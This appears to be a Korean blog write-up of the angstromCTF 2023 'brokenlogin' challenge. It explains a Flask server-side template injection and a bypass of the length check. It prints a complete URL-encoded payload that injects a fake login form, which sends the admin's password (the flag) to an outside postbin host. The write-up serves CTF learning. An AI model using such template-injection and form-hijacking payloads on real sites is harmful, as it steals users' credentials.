본문 바로가기
CTF

[angstromCTF 2023] brokenlogin

by skyepodium 2023. 4. 29.

1. 개요

SSTI(Server side template injection), render_template_string 문제

 

2. 분석

1) template injection

쿼리 스트링으로 받은 message를 render_template_string 함수로 템플릿에 넣어 렌더링 합니다.

@app.get("/")
def index():
    global fails
    custom_message = ""

    if "message" in request.args:
        if len(request.args["message"]) >= 25:
            return render_template_string(indexPage, fails=fails)
        
        custom_message = escape(request.args["message"])
    
    return render_template_string(indexPage % custom_message, fails=fails)

 

템플릿 문법을 이용하여 {{3*3}} 을 전달하면, 결과인 9가 렌더링됨을 확인 할 수 있습니다.

 

다만, 문제는 message의 길이가 25 보다 크면 message를 안넣는다는 것입니다. 하지만, 이 검사는 message 파라미터에 대해서만 해당하고 messge 하위로 추가 파라미터를 넣으면 25글자를 넘을 수 있습니다.

 

(그리고, |safe 필터를 사용해서 html 태그 및 스크립트 삽입이 가능하도록 합니다.)

view-source:https://brokenlogin.web.actf.co/?a=%3Ch1%3Ehello%20world%20hello%20world%20hello%20world%20hello%20world%3C/h1%3E&message={{request.args.a|safe}}

 

2) admin code

어드민 코드를 보면 password에 flag를 넣고 전송합니다. template Injection 을 응용하여 임의로 생성한 postbin 서버에 form을 보내도록 가짜 form을 삽입합니다.

module.exports = {
    name: "brokenlogin",
    timeout: 7000,
    async execute(browser, url) {
        if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return;

        const page = await browser.newPage();

        await page.goto(url);
        await page.waitForNetworkIdle({
            timeout: 5000,
        });

        await page.waitForSelector("input[name=username]");

        await page.$eval(
            "input[name=username]",
            (el) => (el.value = "admin")
        );

        await page.waitForSelector("input[name=password]");

        await page.$eval(
            "input[name=password]",
            (el, password) => (el.value = password),
            process.env.CHALL_BROKENLOGIN_FLAG
        );

        await page.click("input[type=submit]");

        await new Promise((r) => setTimeout(r, 1000));

        await page.close();
    },
};

 

3) paylaod 작성

임의로 생성한 postbin 서버에 보내도록 가짜 form이 담긴 payload를 작성하고 url encoding을 해줍니다.

https://brokenlogin.web.actf.co/?message=%7B%7Brequest.args%7Csafe%7D%7D&payload=%3Cform%20action=%22https://www.toptal.com/developers/postbin/1682778498787-5156039143912%22%20method=%22POST%22%3E%3Clabel%20for=%22username%22%3EUsername:%20%3C/label%3E%3Cinput%20id=%22username%22%20type=%22text%22%20name=%22username%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%3Clabel%20for=%22password%22%3EPassword:%20%3C/label%3E%3Cinput%20id=%22password%22%20type=%22password%22%20name=%22password%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%3Cinput%20type=%22submit%22%20/%3E%3C/form%3E%3C!--

확인해보면 기존 form은 주석 처리 되어있고 가짜 form만 보입니다.

4) 확인

어드민에게 제출하면 postbin에서 flag를 확인할 수 있습니다.

'CTF' 카테고리의 다른 글

[WaniCTF 2023] netcat  (0) 2023.05.06
[WaniCTF 2023] 64bps  (0) 2023.05.05
[angstromCTF 2023] hallmark  (0) 2023.04.29
[angstromCTF 2023] Celeste Speedrunning Association  (0) 2023.04.29
[BSidesSF 2023 CTF] prototype  (0) 2023.04.26